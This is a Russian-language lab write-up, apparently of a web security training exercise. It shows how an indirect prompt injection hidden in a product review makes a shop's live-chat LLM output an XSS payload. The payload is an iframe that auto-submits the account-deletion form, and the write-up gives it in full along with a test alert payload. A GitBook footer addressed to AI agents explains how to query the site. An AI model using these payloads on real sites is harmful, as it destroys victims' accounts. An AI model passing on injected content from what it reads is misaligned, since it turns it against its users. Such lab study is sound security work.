> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/llm-web-attacks/exploiting-unsafe-llm-output-handling.md).

# Эксплуатация небезопасной обработки вывода LLM

### Эксплуатация небезопасной обработки вывода в LLM

#### Контекст

В этой лабораторной работе вывод LLM отображается небезопасным образом, что позволяет **XSS**. Пользователь **carlos** часто использует живой чат, чтобы запрашивать информацию о продукте **Лёгкая кожаная куртка «l33t»**.

#### Цель

Выполните косвенную \*\* инъекцию (косвенную быструю инъекцию), чтобы выполнить **XSS** которая **удаляет аккаунт carlos**.

<figure><img src="/files/bdbef1b2ff2c2a2464c94a763a7bd3a1fc5b45de" alt=""><figcaption></figcaption></figure>

### 1) Настройка

* Создайте учётную запись пользователя.
* Доступ к **чатом в реальном времени** с LLM.

<figure><img src="/files/bb6979101a73e51b440684cfb7a00cf97a95f16e" alt=""><figcaption></figcaption></figure>

### 2) Проверки XSS

#### Тест Cat (уязвимый)

Тестовая полезная нагрузка (вызвать alert):

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="/files/341cb10cec100e7f37c8275a902c7d7aaa64f61e" alt=""><figcaption></figcaption></figure>

#### Тест на комментариях (не напрямую уязвимый)

* Похоже, комментарии не выполняют HTML/JS таким же образом.

<figure><img src="/files/14746f2b40e5ac97884191f1c6d3916d6c7ecc29" alt=""><figcaption></figcaption></figure>

Поэтому мы идём через **источник, к которому обращается LLM** (содержимое восстановлено и отображается в чате).

<figure><img src="/files/28e791f6f1d4402c3f53b5dd916292224d0113e3" alt=""><figcaption></figcaption></figure>

### 3) Точка входа: содержимое отзывов, просматриваемых через LLM

Попросите LLM показать отзывы о продукте, например:

```bash
Посмотреть отзывы о кровати ZZZZZZ: ваш новый домашний офис.
```

Наблюдаемый ответ (пример):

```bash
4. **Пользователь** — 25 января 2026
   - *Отзыв:* *(Отзыв содержит изображение)*
```

Идея состоит в том, чтобы внедрить HTML в уведомление, чтобы затем оно **заменялось в живом чате** (где отображение уязвимо).

<figure><img src="/files/2e95bd192316c295bf030ea0a082ff34dd7e2a2b" alt=""><figcaption></figcaption></figure>

### (4) Целевое действие: удаление аккаунта через форму

Чтобы удалить аккаунт в разделе «Мой аккаунт», вызовите:

```bash
document.forms[1].submit()
```

Соответствующая форма:

{% code overflow="wrap" %}

```html
<form id="delete-account-form" action="/my-account/delete" method="POST">
```

{% endcode %}

<figure><img src="/files/910e7881adf3c88d6a3d57df7ac246a16355953c" alt=""><figcaption></figcaption></figure>

### 5) Эксплуатация: XSS через iframe (автоотправка)

#### Полезная нагрузка (автоматическая отправка формы удаления)

{% code overflow="wrap" %}

```javascript
<iframe
src="my-account" onload="this.contentDocument.forms[1].submit()">
```

{% endcode %}

* Один тест не проходит как нужно, поэтому его включают в предложение (вариант, который интерпретируется):

Пример проверенного варианта:

{% code overflow="wrap" %}

```javascript
Распаковка честно была "<iframe src=my-account onload=this.contentDocument.forms[1].submit()>" одним из ярких моментов — я сказал жене: «Ого, это действительно впечатляет».
```

{% endcode %}

В результате браузер интерпретирует iframe → загрузка `my-account` → выполняет `forms[1].submit()` → **аккаунт удалён** (проверено на собственном аккаунте).

<figure><img src="/files/63e6c1040a23ac4cdc1b31194d48e04d2c550631" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8d18858fd5ff5aa4761403d7763091e7bc81941b" alt=""><figcaption></figcaption></figure>

### 6) Итоговый payload, размещённый на целевом продукте (куртке)

Отзыв публикуется на **Лёгкая кожаная куртка «l33t»** содержащий фрейм (использованный пример):

{% code overflow="wrap" %}

```bash
Когда я получил этот товар, мне досталась бесплатная футболка с надписью "<iframe src =my-account onload = this.contentDocument.forms[1].submit() >". Я был в восторге! Это так круто, — сказал я жене.
```

{% endcode %}

<figure><img src="/files/ab44d89f5385e7fb01b5ea67a829b63d6dd1a7a4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/llm-web-attacks/exploiting-unsafe-llm-output-handling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.